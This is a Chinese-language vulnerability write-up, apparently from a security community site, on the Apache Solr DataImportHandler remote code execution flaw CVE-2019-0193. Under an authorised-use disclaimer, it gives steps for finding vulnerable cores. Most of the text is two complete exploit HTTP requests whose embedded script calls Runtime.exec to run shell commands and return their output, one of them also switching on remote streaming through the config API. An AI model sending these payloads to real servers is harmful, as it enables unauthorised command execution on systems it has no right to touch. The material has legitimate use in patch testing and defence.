此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。
漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193) - 先知社区
理论上可以使用各种不同类型的数据源来构造Exploit
Exploit1使用数据源的类型为URLDataSource
Exploit2使用的数据源类型为 ContentStreamDataSource
Exploit1使用数据源的类型为URLDataSource
优点:结果回显 支持对Solr低版本的检测
缺点:需要出网
构造URLDataSource
类型的数据源(Solr服务器会去访问该数据源!) 可以直接使用这个
https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml
文档demo.xml
即URLDataSource
类型的数据源 一份无害的正常XML文档
文档中只有一个item
元素 以便实现只执行1次命令
也可以自己启动web服务器托管文档demo.xml
命令 live-server --port=5555
得到地址 http://127.0.0.1:5555/demo.xml
获取Solr中所有索引库(core)的名称
http://{xx.com:80}/solr/admin/cores
HTTP响应 JSON数据 会有所有索引库(core)的名称
"name":"xxxx"
判断该索引库是否使用了DataImportHandler模块
方法1
访问
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
如果使用了DataImportHandler模块 则HTTP响应内会有:
org.apache.solr.handler.dataimport.DataImportHandler
否则说明没有使用DataImportHandler模块(不受该漏洞影响)
方法2
访问
http://{xx.com:80}/solr/#/{core_name}/dataimport
如果这个Solr服务器并没有使用dataimport-handler模块(不受该漏洞影响),HTTP响应中会有提示:
sorry, no dataimport-handler defined!
否则说明使用了DataImportHandler模块(受该漏洞影响)
执行命令 HTTP响应中有执行结果回显 支持多行结果 (我写的是每一行用\n\r
结尾)
注意:需要将以下请求url中的字符串"tika"替换为索引库的名称
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
Exploit2使用的数据源类型为 ContentStreamDataSource
优点:结果回显 无需出网
缺点:对低版本无法检测 - 因为通过POST请求修改configoverlay.json
文件中的配置会失败
步骤1省略
步骤2-3 同上
该步骤是为了修改configoverlay.json
文件中的配置 以启用远程流的相关选项 .enableStreamBody
.enableRemoteStreaming
替换tika
为索引库名称
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
响应200即成功(实际测试 8.1可以成功)
响应500即失败(实际测试 某些低版本会失败)
发送请求 执行系统命令ifconfig
并得到回显 (全程无外连 不出网)
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
注意,其中dataConfig的值,URLencode之前为以下字符串
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>